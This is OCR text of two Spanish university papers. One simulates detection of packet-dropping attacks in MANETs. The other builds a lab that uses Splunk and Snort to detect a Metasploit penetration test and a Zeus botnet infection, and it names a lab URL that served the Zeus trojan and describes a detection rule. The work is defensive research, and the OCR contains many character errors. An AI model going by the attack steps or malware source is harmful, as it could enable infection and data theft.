pueden ser las redes MANET. En ellas, que un nodo tome
una actitud atacante (dropper) supone que rompa la cadena
de retransmisién, llevando a cabo por tanto una denegacién

del servicio de retransmision que se espera que ofrezca al resto
de los nodos de la red e impidiendo la comunicacién entre
los nodos origen y destino. Como se apuntd anteriormente,
este descarte de paquetes puede ser total o parcial segin la
estrategia adoptada, es decir, el atacante podria no retransmitir
ningln paquete o podria decidir qué paquetes concretos no va
a retransmitir.

Dentro de esta segunda opcién encontramos el descarte
selectivo y el descarte probabilistico. En el primero de ellos
el nodo decide qué paquetes descartar en base a cierto criterio
como podria ser el origen, el destino, el tipo de mensaje, etc.
El segundo tipo de descarte, que serd con el que se trabaje en
este proyecto, implica que el nodo malicioso descartard los
paquetes que deba retransmitir con cierta probabilidad. En las
simulaciones que se exponen mds adelante, por ejemplo, el
dropper descartard 20 de cada 100 paquetes que reciba.

A. Mecanismo de deteccion del ataque de dropping

El algoritmo de deteccién que se va a implementar es el
expuesto en la bibliografia antes mencionada [1].

En un primer momento se podria pensar que un compor-
tamiento malicioso de tipo dropping en un nodo dado seria
facilmente detectable con solo tener en cuenta el nimero
de paquetes que recibe (destinados a ser retransmitidos) y
el ndmero final de paquetes que verdaderamente retransmite.
Sin embargo, esta aproximacién tan sencilla obvia multitud
de aspectos que no solo son trascendentes en el contexto
de una red con nodos méviles inalambricos como es una
MANET, sino que son claramente vitales para el correcto
funcionamiento de un mecanismo de deteccién de compor-
tamientos maliciosos. Estos aspectos estdn relacionados con
los errores de transmision en los que, debido al ruido del canal
0 a posibles colisiones entre paquetes, un paquete es imposible
de retransmitir (condicion de red inalambrica) o situaciones en
las que el nodo hacia el cual se habria de retransmitir cierto
paquete no se encuentra dentro del rango de cobertura del
nodo de retransmision (condicién de red de nodos mdviles).

La heuristica de deteccion que se va a implementar consid-
era ambas condiciones de forma nativa[5], ya que fue disefiado
para ser utilizado en el contexto de las redes MANET que
utilizan AODV'. Su funcionamiento es multicapa ya que
toma como pardmetros de entrada informacién de diversas
capas de la pila OSI. A modo de resumen (una explicacién
mads detallada se puede encontrar en el documento extendido
referente a este proyecto), tomard como datos de entrada:

o De la capa IP, los datagramas a retransmitir’ y los
retransmitidos. De esta manera, se obtiene una nocioén
porcentual de la fiabilidad de retransmision del nodo.
Este pardmetro se conoce como probabilidad de retrans-
misiéon o Pryyp.

« De la capa MAC, se obtienen las tramas RTS enviadas y
las tramas CTS recibidas. Ambas tramas forman parte del

'AODV (Ad hoc On-demand Distance Vector) es uno de los proto-
colos de encaminamiento reactivos mds conocidos y empleados en redes
MANET. AODV permite desarrollar una estrategia de comunicacion multi-
salto, adaptdndose a los cambios de topologia producidos como consecuencia
de la movilidad de los nodos.

2Un datagrama se considera como datagrama a retransmitir siempre que
no tenga como destino el propio nodo que lo recibe, y siempre que el nodo
que lo recibe tenga una ruta valida hacia el destino del datagrama.
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mecanismo de sondeo de portadora virtual del estdndar
inalambrico 802.11. Mediante ellas se puede obtener
una aproximacién del estado de congestion del canal
inaldmbrico conocida como probabilidad de colisién o
Pcor.

« Del protocolo AODV, se obtiene el nimero de mensajes
RREQ generados por el nodo en situaciones de mo-
vilidad. Un nodo genera este tipo de paquetes cuando
necesita buscar una nueva ruta hacia un destino concreto
en la topologia. Bajo ciertas circunstacias de movilidad,
estos mensajes se generan para tratar de reparar un enlace
que se ha roto dentro de una cadena de transmisién. En
esta situacion, el mecanismo ha de percatarse que el nodo
no estd descartando paquetes, sino que ha comenzado un
proceso de reparacién local de ruta y esta esperando una
respuesta. Este pardmetro se conoce como probabilidad
de movilidad o Py;op.

Una vez obtenidos estos pardmetros, se estima la proba-
bilidad de que un nodo concreto tenga un comportamiento
malicioso de tipo dropper, o Pbrop, tal y como indica (1):

0 si PMOB:1

P =
DROP 1— -LEWD  ep otro caso
1-PcoL

(M

Sobre este valor se centra todo el proceso de deteccidn, ya
que la clasificacién de un nodo como malicioso o legitimo
se realiza comparando Pprop con un valor umbral o Thr
previamente fijado por el algoritmo. De esta manera, se
clasifica al nodo de forma sencilla mediante la 16gica expuesta
en (2):

malicioso
legitimo

si PDROP Z Thr
en otro caso

clase(nodo) = { (2)

B. Estructuras del sistema de deteccion del ataque de drop-
ping

A continuacién se discute la arquitectura sobre la que se
implementara el algoritmo de deteccién descrito. Para ello se
proponen dos modelos, uno aislado y otro distribuido.

En primer lugar, el modelo aislado consiste en una arqui-
tectura en la cual cada nodo accede a sus propios médulos
IP, MAC y AODV para obtener los datos de entrada del

Nodo con deteccion aislada de dropping

Detector aislado de dropping

Médulo de
respuesta

#RTSsent
#CTSrecv

#DATAsent
#DATArow

Fig. 3. Estructura del sistema aislado de deteccién de dropping

87

mecanismo. Para ello, como se muestra en la Figura 3, se
incorpora un controlador de deteccidn aislada de dropping en
cada nodo, que serd el encargado de obtener los datos de las
distintas capas, procesarlos, y tomar una decisioén acerca de
su propio comportamiento en base a la ecuacién (2). En caso
de (auto)detectarse un comportamiento de dropping, el nodo
procederia a activar un procedimiento de respuesta para alertar
de dicho comportamiento al resto de nodos de la red.

La validez de esta estructura se pone en entredicho en el
momento en que se plantea la implementacién del sistema
de deteccion de ataques de dropping en un entorno real. Un
nodo que pretenda actuar de forma maliciosa para deteriorar
las prestaciones de una red de comunicacién bajo ningin
concepto advertirfa al resto de nodos de sus propias acciones
o intenciones maliciosas. A pesar de ello, intuitivamente se
entiende que la ejecuciéon del algoritmo dentro de un nodo
habria de proporcionar una clasificaciéon completamente fiable
del comportamiento del nodo ya que se dispone de primera
mano de los pardmetros requeridos por el mecanismo de
deteccion. Este hecho se observard en los resultados mas
adelante.

Por esta razén es por la que se propone como alternativa
una solucién basada en un sistema distribuido. En este, la
resposibilidad de detectar los comportamientos maliciosos
recae sobre un nodo central que tiene acceso al estado de
todos lo nodos a partir de la informacién proporcionada por
sus respectivos vecinos. Para esta arquitectura se introduce el
concepto de nodo monitor. Un nodo monitor es aquel que
activa su tarjeta de red inaldmbrica en modo promiscuo, es
decir, que procesa todas las tramas inalambricas que reciba del
medio aunque no sea el destinatario. De esta manera, podemos
hacer que estos nodos monitores extraigan la informacién
relevante para el mecanismo de deteccion de ataques de
dropping de cada paquete que monitoricen e informen al nodo
central o controlador.

Asi, el controlador de deteccion podra actualizar una base
de datos con informacién acerca de cada nodo de la topologia.
Con estos datos calculard la heuristica de clasificacién de
comportamientos para cada nodo y alertard al sistema de qué
nodos estdn teniendo un comportamiento malicioso. La Figura
4 muestra este esquema de deteccién en el cual los nodos
usuarios (y potencialmente malicisos) no intervienen en el
proceso de deteccidon de comportamientos maliciosos.

Bajo este nuevo paradigma de implementaciéon nos encon-

Controlador de deteccion
distribuido de dropping

Base de
datos

Nodo de red Nodo monitor

Tramas
monitorizadas

Fig. 4. Estructura del sistema distribuido de deteccién de dropping
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tramos que, al no estar tratando con los mensajes que manejan
las propias tarjetas de red de los nodos monitorizados, no
se puede determinar qué mensajes se reciben correctamente
en dichos nodos. Por tanto, para implementar el sistema
distribuido de deteccion de ataques de dropping se han de
sustituir los pardmetros de entrada del algoritmo de deteccion
relacionados con los paquetes recibidos en un nodo (CTS
recibidos y datagramas IP a retransmitir) por los paquetes
dirigidos al nodo segtn los nodos monitores (esto es, paquetes
CTS y datagramas IP enviados al nodo; al margen de que estos
pudieran recibirse incorrectamente).

Un aspecto a tener en cuenta en ambos esquemas de
deteccién es que dicha deteccidn, aislada y distribuida, no
se realiza de forma continua en el tiempo, sino que ha de
ser discretizada. Tal y como propone la bibliografia, la forma
Optima de discretizar la deteccidon es mediante una ventana de
eventos en lugar de una temporal. De esta manera se evita la
deteccién “’parcial” de sucesos; por ejemplo, la emision de un
RTS pero no la recepcién del CTS correspondiente.

IV. IMPLEMENTACION

Para la implementacién de ambos sistemas dentro del
contexto de NETA se ha adaptado la filosofia ya utilizada
para la descripcién de ataques de red y nodos atacantes a la
descripcion de detectores, ya sean aislados o distribuidos.

En primer lugar, se implementard un controlador de de-
teccidn que estara presente en la topologia de simulacion. Este
controlador genérico serd el armazon sobre el que se llevarad
a cabo el disefio de un detector de cierto tipo de ataques de
seguridad y tendrd la funcionalidad bésica, es decir, iniciar y
finalizar el proceso de deteccién en el momento que se precise
y comunicarse con los nodos que intervengan en el proceso
de deteccion.

Por otra parte, en el caso del detector del ataque de dropping
se habran de reescribir las clases C++ que corresponden con
los protocolos IP, MAC y AODV de la pila OSI descrita en
INET. Estas nuevas implementaciones permitirdn obtener los
pardmetros de entrada del mecanismo de deteccién concreto
implementado en este proyecto.

Por dltimo, las implementacidénes concretas propuestas aqui
extienden las funcionalidades del controlador genérico de
deteccion. El controlador aislado de deteccién de dropping
implementa la comunicacién con el controlador interno de
cada nodo. De esta manera, es capaz de acceder directamente
a los niveles OSI mencionados y ejecutar el procedimiento
de catalogacion del comportamiento del nodo para, poste-
riormente, activar la interfaz hacia las rutinas de respuesta
que alertardn al resto de nodos de la topologia de un com-
portamiento malicioso por parte de cierto nodo. Esta dltima
consideracién acerca del protocolo de notificacion de ataques
y respuesta se escapa del propdsito del presente trabajo, si bien
es de mencionar que en esta direccion existen lineas activas
de investigacion [6].

Tomando como base todo lo anterior, la implementacién
distribuida implementa el modo promiscuo en cada nodo.
Esta implementacién captura cada paquete monitorizado, lo
analiza e informa al controlador distribuido de deteccién de
ataques dropping. Para realizar este andlisis, se extraen las
cabeceras de los niveles de la pila OSI que corresponden a

los pardmetros de entrada del algoritmo de deteccién. Una
vez se dispone de estos datos, se envia un mensaje hacia el
controlador que actualizara la base de datos de informacion,
no sin antes comprobar las duplicidades, ya que es muy
probable que un mismo paquete sea monitorizado por varios
nodos monitores al mismo tiempo.

En ambos casos, el controlador (ya sea el del modelo
distribuido o el aislado de cada nodo) al detectar el evento
final de la ventana de eventos comenzard el proceso de
andlisis y deteccion. Durante la implementacién del proyecto
se proponen algunas definiciones de mensajes utilizados por
el sistema. Entre ellos se encuentra el mensaje de comuni-
cacion entre los nodos monitores y el controlador distribuido,
mensaje que contiene campos para cada una de las cabeceras
relevantes en el proceso de deteccion. También es de citar el
mensaje que el propio controlador dirige hacia el sistema de
respuesta, en el que, entre otros pardmetros, se incluyen el
tipo de ataque detectado, el nodo detectado como atacante, la
referencia al nodo que ha realizado la deteccién, la severidad
del ataque y la precision o fiabilidad de la deteccién realizada.

V. SIMULACIONES

Para validar el sistema implementado se disefian una serie
de simulaciones a modo de banco de pruebas. Estas simula-
ciones tratardn de ajustarse lo mds posible a un escenario de
comunicacion entre nodos de una red MANET, entre los que
se encuentra un nodo malicioso que lleva a cabo un ataque
de dropping.

Estas simulaciones se repetirin 75 veces (con distinta
semilla) para diferentes valores del umbral de deteccién o Thr.
Cada repeticién supone un escenario en el que los nodos se
comunican entre si durante 500 segundos. De esta manera, se
obtendran resultados estadisticamente validos para diferentes
configuraciones del sistema.

El hecho de realizar las simulaciones para diferentes valores
del umbral de deteccién pone de manifiesto que para el
correcto funcionamiento del sistema de deteccion de ataques
de dropping es necesario ajustar dicho umbral a un valor igual
o superior a Pprop de los nodos maliciosos, tal y como se
observard en el apartado de resultados.

Tabla I
ESPECIFICACION DE LOS PARAMETROS DE SIMULACION
Parametro Valor
Topologia 1000m x 1000m
Nodos legitimos 24
Nodos maliciosos 1
Probabilidad de dropping 20%
Tamaifio de mensajes UDP 512 Bytes
Periodo de mensajes UDP 0.25 s
Capa MAC 802.11¢g
Bitrate 24/54 Mbps
Slot Time 9 us
SRL 7
Potencia TX 2 mW
Frecuencia portadora 2.4 GHz
Pathloss 2
Umbral SNR 4 dB
Potencia de ruido -110 dBm
Sensibilidad RX -85 dBm
Movilidad de nodos Random Waypoint
Velocidad max. de nodos 10 m/s
Tamafio de la ventana de eventos | 100 datagramas IP
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Los pardmetros mds importantes de la simulacién se re-
flejan en la Tabla I, siendo los més relevantes el nimero de
nodos legitimos y maliciosos, 24 y 1 respectivamente, y la
probabilidad de dropping del nodo malicioso, fijada al 20%
para todas las simulaciones.

La efectividad del sistema se mide en tasa de aciertos y
fallos. Para ello, en cada una de la repeticiones se considerara
como acierto cada vez que se detecte al nodo malicioso o
dropper al menos una vez y se considerard fallo cada vez que
se catalogue un nodo legitimo como malicioso al menos una
vez. De esta manera, es posible extraer las tasas de aciertos
y errores del sistema a las que denominaremos True Positive
Ratio, o tasa de verdaderos positivos, y False Positive Ratio,
o tasa de falsos positivos. respectivamente.

Para la generacién de estas estadisticas se utiliza el lenguaje
de programacién Python. Con unos scripts simples se analizan
todos los vectores de salida de las simulaciones y se realizan
los célculos estadisticos para obtener las tasas de verdaderos
y falsos positivos.

VI. RESULTADOS Y CONCLUSIONES

Los resultados de las simulaciones muestran un correcto
funciomiento del sistema acorde con las previsiones y con-
sideraciones expuestas anteriormente.

En primer lugar, la Figura 5 muestra la curva ROC de
verdaderos y falsos positivos para cada valor del umbral en
el sistema de deteccion de ataques dropping aislado. Tal y
como se puede observar, el sistema funciona correctamente
para valores del umbral iguales o inferiores a la probabilidad
de dropping del atacante, presentando en estos casos tasas
de verdaderos positivos superiores al 75% en el peor de los
casos. Para valores del umbral superiores a la probabilidad
de dropping de los atacantes, el rendimiento del sistema se
ve gravemente deteriorado (valores del ratio de verdaderos
positivos inferiores al 30%).

Por otra parte, el hecho de que los resultados de sistema
aislado presenten una tasa de falsos positivos practicamente
nula se debe a que, al realizarse el proceso de deteccion y
catalogacién del comportamiento de los nodos dentro de los
propios nodos y con datos fidedignos acerca del niimero de
paquetes que estos manejan, la probabilidad de fallo es casi
inexistente.
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Fig. 5. Resultados de las simulaciones del sistema aislado
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Respecto a los resultados de las simulaciones con el sistema
distribuido de deteccién de ataques de dropping propuesto,
podemos observar, basandonos en la Figura 6, un rendimiento
ligeramente inferior. La justificacién de este peor rendimiento
reside en las aproximaciones realizadas en el sistema dis-
tribuido, asi como en la filosofia de monitorizacién de paque-
tes que este sistema utiliza para obtener los datos necesarios
para la deteccion.

De la misma manera que en el modelo de deteccion
aislado, se observa una diferencia entre valores del umbral
fijados por encima de la probabilidad de dropping de los
nodos maliciosos. En este segundo caso observamos tasas
de verdaderos positivos inferiores al 30% para valores no
ajustados del umbral de deteccién y valores superiores al
70% para valores ajustados del mismo umbral. Obsérvese en
este segundo caso el ligero decaimiento del rendimiento del
sistema.

La tasa de falsos positivos empieza a considerarse en este
modelo distribuido por las razones ya comentadas. Para los
valores Optimos del umbral de deteccion esta tasa de error se
encuentra entre el 8% y el 10%.

Una vez analizados los resultados de las simulaciones del
proyecto se puede concluir que, partiendo de un proceso
de estudio acerca del funcionamiento y la seguridad de las
redes MANET, asi como un andlisis de los diferentes tipos
de ataque de dropping en las mismas, y continuando con
las implementaciones descritas, se ha cubierto el propdsito
perseguido.

A modo de resumen, se han disefiado e implementado dos
versiones de un sistema basado en un mecanismo de deteccién
de ataques dropping. Ambas versiones son funcionales; sin
embargo, solo la modalidad de deteccidn distribuida es plau-
sible para su implementacién en escenarios reales.

Como objetivo secundario, se ha completado el framework
de simulacién de eventos de seguridad NETA del grupo
NESG de la UGR con una estructura preparada para la futura
implementacién de sistemas de deteccién de ataques a la
seguridad de sistemas en redes ad hoc.

Por dltimo, se dejan abiertas posibles lineas de mejora en
diversos aspectos. Entre ellos se encuentra la optimizacién
de las comunicaciones entre los nodos que componen el
sistema de deteccién para evitar la sobrecarga de la red, o
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Fig. 6. Resultados de las simulaciones del sistema distribuido
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la securizacién del propio sistema de deteccion de ataques de
dropping, vulnerable en este primero estadio a eventos que
compromentan su integridad, confidencialidad o disponibili-
dad.
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Resumen—Gracias a la alta disponibilidad de informacién de
distintas fuentes que ha hecho posible el desarrollo de Internet,
uno de los conceptos mas importantes es el tratamiento y
analisis de grandes conjuntos de datos: el llamado Big Data. La
experiencia sobre estas técnicas se acepta como una de las
capacidades mds interesantes para la contratacion de nuevo
personal técnico en las grandes multinacionales, junto con el uso
de herramientas como Splunk y Afterglow. Actualmente, los
laboratorios docentes de la Escuela Técnica Superior de
Ingenierias Informatica y de Telecomunicacion (ETSIIT) de la
Universidad de Granada no poseen la flexibilidad requerida
para el estudio de la seguridad en red con herramientas Big
Data. Dicha limitacion es la razon por la cual se plantea el uso
de la emulacion por virtualizacion de sistemas para la
realizacion de este trabajo. Mediante este proyecto se han
podido comprobar las ventajas e inconvenientes que tiene cada
una de estas herramientas, asi como la facilidad de deteccion de
anomalias en red gracias a ellas.

Palabras clave—Afterglow, Big Data, Firewall, Seguridad,
Sistema Detector de Intrusos, Splunk.

I. PROBLEMATICA

EBIDO al gran aumento del nimero y sofisticacion de las

amenazas de seguridad se necesitan de habilidades y
herramientas para tratar el problema, como es el andlisis de
grandes cantidades de datos (Big Data).

La empresa RSA sefiala al Big Data como una solucién
transformadora para los retos de seguridad, donde el andlisis
de Big Data permitird que los profesionales de seguridad
recuperen las ventajas de la vigilancia en tiempo real con
respecto a los ataques sofisticados [2].

FICO prueba la importancia que esta teniendo el Big Data
sobre todo en los Ultimos afios [3], afirmando que:

- La venta de soluciones de analitica paso de 11.000
millones de dolares en 2000 a 35.000 millones de
dolares en 2012.

- Que el nimero de puestos de trabajo relacionados
con el Big Data crecié un 15% entre 2011 y 2012.

- Y que cada dia se crean 2,5 trillones de bytes
relacionados con Big Data, por lo que la analitica es
cada vez mas necesaria para tomar decisiones

predictivas precisas.

La Figura 1 representa un estudio segin Cisco, donde
muestra la cantidad de datos de trafico IP que se van a
generar mensualmente hasta 2016 en el mundo. Este
crecimiento va a estar influido por los distintos factores como
el creciente nimero de dispositivos conectados, un mayor
nimero de usuarios en Internet, una mayor velocidad de
ancho de banda, més videos, crecimiento del uso del WiFi,
entre otros.

Evolucion del trafico IP
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Figura 1. Datos mensuales previstos para el 2016

Esto es un reflejo del interés en ofertar contenidos
docentes sobre seguridad en red con herramientas Big Data.

Los laboratorios de la Escuela Técnica Superior de
Ingenierias Informética y de Telecomunicacion presentan
severas limitaciones para el disefio flexible y realista de
practicas de seguridad en red. Por lo que se plantearon dos
objetivos principales para la realizacion del mismo:

- Objetivo I: Un primer objetivo de este proyecto es el
disefio una metodologia para instaurar un laboratorio
virtual de seguridad en redes de comunicacion.
Dicha metodologia se enmarca dentro de una
propuesta del Proyecto de Innovacidn Docente.

- Objetivo Il: Para poder realizar todo lo mencionado,
es necesario disponer de sistemas de deteccion como
sistemas detectores de intrusos (IDS) o firewalls,
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gue permitan detectar accesos no autorizados a la
red y almacenarlos en un archivo de registro de
eventos (.log) para su posterior analisis mediante las
herramientas Big Data de deteccion de intrusiones.
Ademas se realizd un test de penetracion y la
creacion de una botnet, en conjunto con las
herramientas de deteccion, para estudiar ambas
vertientes de la seguridad, es decir se comprobd
cémo de preventivo puede llegar a ser un estudio de
seguridad, o como trabaja una de las mayores
técnicas de infeccion, asi como la reaccion por parte
de wuna Organizacion que incluye métodos
proactivos de seguridad.

Il. SOLUCION PROPUESTA

La limitacion de los entornos docentes es la razon principal
por la cual se ha realizado un estudio de las diversas
aproximaciones a una red real con las que se podria solventar
el problema. De forma que se han analizado sus fortalezas y
sus debilidades y elegido posteriormente la mas completa y
realista.

En un primer lugar se pensé en la utilizacion de la
virtualizacion, con ella se puede utilizar mas de un sistema
operativo en un mismo ordenador, de forma simultanea y
persistente, de esta forma nos acercamos mas a una
aproximacion de una red real [3]. Uno de los inconvenientes
de las méaquinas virtuales es su coste computacional, que
lleva a que la ejecucién de un gran nimero maquinas pueda
saturar facilmente los recursos de la méquina anfitriona.

En segundo lugar, y por el contrario que la virtualizacion,
la emulacién no permite ni la simultaneidad entre sistemas
operativos, ni ejecutar directamente el cdédigo del sistema
huésped [4]. La principal diferencia con la virtualizacién
reside en que los emuladores hacen una translacion de las
instrucciones de la maquina emulada, en lugar de ejecutar
directamente el codigo en el guest. Por este motivo, los
virtualizadores  tienen  un  funcionamiento  menos
problemaético y mas rapido que el tradicional emulador.

En cuanto a la simulacidn la elaboracion de un modelo de
simulacion realista puede conllevar horas y horas tanto de
trabajo como de espera de resultados. Por este motivo, la
simulacion no parece la estrategia mas adecuada para el
estudio de la seguridad en red.

De modo que analizadas las circunstancias, decidimos
elegir la virtualizacidn ya que es la Unica herramienta que nos
posibilita la simultaneidad entre sistemas operativos, siendo
esta crucial para el desarrollo de los experimentos de
seguridad.

Ya que se ha optado por la virtualizacion, se debia elegir
también la plataforma de virtualizacion. Se ha analizado
VirtualBox, VMware y KVM. Entre ellas aunque la que
mejor rapidez, estabilidad y rendimiento ofrece es VMware,
se ha seleccionado VirtualBox por ser gratuito Yy
multiplatafoma, ademas de ofrecer prestaciones aceptables.

IIl. HERRAMIENTAS BIG DATA DE DETECCION DE
INTRUSIONES

En la realizacién de este proyecto se han hecho uso de las
siguientes herramientas de deteccién de intrusiones.

A. Firewalls

Un firewall o cortafuegos es un dispositivo de hardware o
un software que permite gestionar y filtrar la totalidad de
trafico entrante y saliente que hay entre 2 redes u ordenadores
de una red. Protege a un ordenador o a una red de
ordenadores contra intrusiones provenientes de redes de
terceros (generalmente desde internet) [5].

En concreto se ha hecho uso de Iptables, que es
componente mas popular construido sobre Netfilter. Iptables
una herramienta de cortafuegos que permite, no solamente
filtrar paquetes, sino también realizar traduccion de
direcciones de red (NAT) para IPv4 o mantener registros de
log.

B. Sistemas Detectores de Intrusos

Un Sistema Detector de Intrusos o IDS es un sistema que
intenta detectar y alertar sobre las intrusiones intentadas en
un sistema o en una red, considerando intrusién a toda
actividad no autorizada 0 no que no deberia ocurrir en ese
sistema.

En concreto se ha hecho uso del IDS Snort. Snort es un
sniffer de paquetes y un detector de intrusos basado en red.
Es un software muy flexible que ofrece capacidades de
almacenamiento de sus bitacoras tanto en archivos de texto
como en bases de datos abiertas como lo es MySQL [6].
Implementa un motor de deteccion de ataques y barrido de
puertos que permite registrar, alertar y responder ante
cualquier anomalia previamente definida.

C. Sistemas de monitorizacion

Se ha hecho uso del Sistema de Monitorizacion Splunk que
es un software que captura, indexa y correla en tiempo real
los datos generados por maquinas de aplicaciones,
almacenandolo todo en un repositorio donde busca para
generar gréficos, alertas y paneles muy faciles de definir [7].
Ademas, ayuda a visualizar una gran cantidad de datos
mediante la realizacion de pequefias graficas. Se puede
descargar Splunk gratis, obteniendo una licencia Enterprise
de Splunk por 60 dias y donde podremos indexar hasta 500
megabytes por dia. Se puede convertir a una licencia gratuita
perpetua o comprar una licencia Enterprise.

D. Sistemas de visualizacion

Se ha hecho uso del Sistema de visualizacién Afterglow.
Afterglow es una coleccion de scripts que facilitan el proceso
de generacién de enlaces graficos [8]. AfterGlow esta
destinado para ser utilizado en la linea de comandos ya que
no dispone de ninguna interfaz gréfica de usuario, aunque
también puede ser incorporado a otras aplicaciones (como es
nuestro caso, incluida dentro de Splunk). AfterGlow espera
un archivo CSV, como entrada y genera un archivo de
lenguaje grafico de puntos atribuido.
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IV. PRUEBAS

Una vez analizadas las opciones para la reproduccién de
un estudio de seguridad en un entorno virtualizado, para su
posterior uso docente en los laboratorios de la Escuela
Técnica Superior de Ingenierias Informatica y de
Telecomunicacion (ETSII) de la Universidad de Granada, se
realizaron una serie de experimentos para evaluar la respuesta
de Splunk en el analisis de grandes cantidades de datos,
recogidos por un firewall y un sistema detector de intrusos
(IDS), y la visualizacion de lo obtenido mediante la
herramienta Afterglow.

La red fisica de la que se partird es la mostrada en la
Figura 2. En cada una de las dos méaquinas fisicas implicadas
se virtualizaron los sistemas operativos necesarios para cada
experimento y en los que cada una contiene la instalacion y
configuracion de las herramientas necesarias.

Maquina 1: pentest
botnet

Figura 2. Red fisica

La maquina uno es propiedad de Mdnica Leyva [9], y con
ella se ha realizado el test de penetracién y la creacion de una
botnet. Mientras que la maquina 2 es de mi propiedad, y en
ella se incluyen las herramientas de deteccion de intrusos y
visualizacion de resultados, asi como de la red privada objeto
de penetracion e infeccion. La interconexion se ha hecho
mediante un router fisico y cables de red.

Se realizaron dos experimentos, haciendo uso de
virtualizacion mediante Oracle VM VirtualBox, lo que da
flexibilidad para, con dos maquinas, poder modelar redes de
alto realismo y formadas por un gran conjunto de maquinas.

Ambos experimentos han contado con ataques a la
seguridad estudiados estudiados por Monica Leyva Garcia en
Su proyecto “Herramientas de test de penetracion y ataques
en red para entorno docente y de investigacion en Seguridad
en Redes de Computadores” dirigido por el profesor José
Camacho Paez [9].

V. EXPERIMENTO I: TEST DE PENETRACION

En este primer experimento se ha realizado un escaneo de
puertos mediante el software Nmap desde una méaquina
situada fuera de la red interna privada. En segundo lugar se
ha realizado un escaneo de vulnerabilidades mediante Nessus
de la maquina a atacar (en este caso un equipo con sistema
operativo Windows XP vulnerable), de forma que escaneara
los puertos para buscar puertos abiertos y después intentara
varios exploits para atacarlo. Por dltimo, ha realizado la
explotacion mediante Metasploit y, una vez dentro del equipo
se elimind y cred archivos. Todos estos ataques han sido
realizados por Ménica Leyva Garcia en su proyecto [9].

El setup escogido para la realizacion de este caso de
estudio es el de la Figura 3.
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A. Fase de exploracion

Una vez recogidos los datos registrados por los sensores
(snort e iptables) se indexan en Splunk para su
monitorizacion. Al recibir eventos que contienen las palabras
claves “nmap” y “scan” se activa una de las alertas
gestionadas. Para ver mejor la cantidad de eventos de alerta
sobre escaneos mediante el software Nmap, se realiza
mediante Splunk una visualizacion, como se puede ver en la
Figura 4. En ella se puede ver un resumen de todos los
eventos recogidos por la alerta en funcion del tiempo en el
que se dieron.
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Figura 4. Cantidad de eventos Nmap

Cabe destacar que en los primeros intervalos de tiempo se
han recibido una gran cantidad de mensajes ping enviados
para descubrir los host que estan activos. Una vez descubierto
el host a atacar se procede a la realizacion del escaneo de
puertos.

B. Fase de penetracién

Al recibir eventos pertenecientes al software Nessus,
Splunk activa una de las alertas gestionadas (Nessus). Si se
accede a los datos recogidos por esta se observa que Splunk
obtiene datos recogidos por Snort con una referencia externa
a sistemas de identificacion de ataques soportados por Snort.
Si se accede a cada una de las referencias Web que se
indican, se da informacion adicional sobre el plugin de nessus
especifico.

Por otro lado, Iptables sigue recibiendo mensajes de Nmap,
ya que Nessus realiza un escaneo de puertos mediante el uso
del software Nmap.

C. Fase de mantenimiento del acceso

Snort da dos mensajes de alerta clasificados como débiles
cuando Metasploit estd accediendo a la maquina,
generalmente considerados como falsos positivos, y que en el
caso de estudio concreto no indican que se esté realizando
una explotacion de las wvulnerabilidades de un equipo
mediante Metasploit.
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¢Porqué Snort no detecta a Metasploit una vez dentro?
Esto es debido a que Metasploit usa la carga util Meterpreter
la cual reside en la memoria [10]. Por este motivo nuestro
sistema detector de intrusos no es capaz de detectar a
Metasploit.

VI. EXPERIMENTO II: BOTNET

En este segundo experimento se ha realizado un proceso de
infeccién y robo de informacion por una botnet, todo ello
realizado por Mdnica Leyva Garcia en su proyecto [9]. En
primer lugar, un usuario accede a una pagina web
(http://150.214.191.4/segred) y descarga el troyano Zeus.
Una vez infectado el equipo, se accede a otra pagina web
(http://150.214.191.4/segred/Expll) mediante usuario y
contrasefia. Asi, el Botmaster se hara con estos datos.

El setup escogido para la realizacion de este caso de
estudio es el de la Figura 5.
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Figura 5. Diagrama de red “Botnet”

Por desgracia para Snort bloguear las peticiones que
realiza esta botnet no es un proceso simple debido a la
aleatoriedad de las rutas URL que se solicitan para introducir
el archivo que contiene el bot [11]. Segun referencias
consultadas en Internet no hay una regla especifica en Snort
para detectar al troyano Zeus. En la mayoria de los casos se
especifican reglas en Snort para determinadas blacklist de
paginas web (paginas web que contienen malware, spam o
phishing y estan en una “lista negra”).

Por lo tanto, para este caso de estudio se ha configurado
Snort de manera que detecte y alerte sobre peticiones GET,
POST, descarga de un ejecutable (.exe) y M-SEARCH.
Splunk es el responsable de alertar en el caso de recibir todas
estas alertas de forma consecutiva, de forma que esta se
active cuando se reciban eventos en un rango de tiempo corto
(3 minutos) y que ademas la suma de la cantidad de eventos
recibidos (GET+POST+M-SEARCH+ejecutable) sea un
namero igual o superior a 7, ya que cuando se produce una
infeccion con Zeus se va a recibir: GET, POST, GET,
descarga ejecutable .exe, M-SEARCH, M-SEARCH, M-
SEARCH.

A. Fase de reclutamiento

Cuando se accede a una pagina web, se envia una solicitud
HTTP GET para obtener informacion referente al servidor.
Una vez se accede a la descarga del ejecutable se envia una
solicitud HTTP POST vy se procede a la descarga del archivo
que contiene el bot (bot.exe). Por dltimo, una vez realizada la

infeccién, se envian las 3 solicitudes M-SEARCH desde la
Botmaster.

B. Fase de ejecucion del ataque

Al acceder a una pagina web, se envia una solicitud GET
hacia el servidor. Una vez nos identificamos en la pagina con
usuario y contrasefia, se envia un HTTP POST hacia el
servidor web y otro hacia la Botmaster para enviar la
informacién recogida a la base de datos. Estas peticiones se
realizan mediante solicitudes GET y POST, por lo que en una
situacion normal esto no podria ser considerado como robo
de informacion, ya que estas son las mismas que las enviadas
en una comunicacion normal entre un cliente y el servidor
web correspondiente, es decir, no podemos detectar el robo
de informacion que realiza la Botmaster.

C. Ataque satisfactorio

Una vez llevada a cabo la infeccién, Splunk genera alertas
sobre la deteccion de varias solicitudes GET, POST,
ejecutable .EXE y M-SEARCH. Por desgracia, hay que
observar detenidamente cada una de estas alertas ya que
pueden dar lugar a falsos positivos. Para ello, se accede a la
alerta, Splunk notifica sobre los eventos producidos que
cumplan con la condicion de la misma en determinados
intervalos de tiempo donde ocurrié el problema. Se deben
revisar cada una de estas alertas para ver si ha ocurrido un
posible caso de infeccion mediante el troyano Zeus.

En la Figura 6 se puede ver un caso de éxito de infeccion
de un equipo mediante el uso de la botnet Zeus, ya que
cumple con los requisitos minimos establecidos para
considerar que se ha producido una infeccién mediante el uso
de esta botnet.

Figura 6. Deteccion de infeccién mediante la botnet Zeus

En la Figura 7 se puede observar una representacion
mediante Afterglow de una infeccién mediante la botnet Zeus
y su posterior robo de informacion.
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Figura 7. Visualizacion de la infeccion mediante Zeus
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VII. CONCLUSIONES

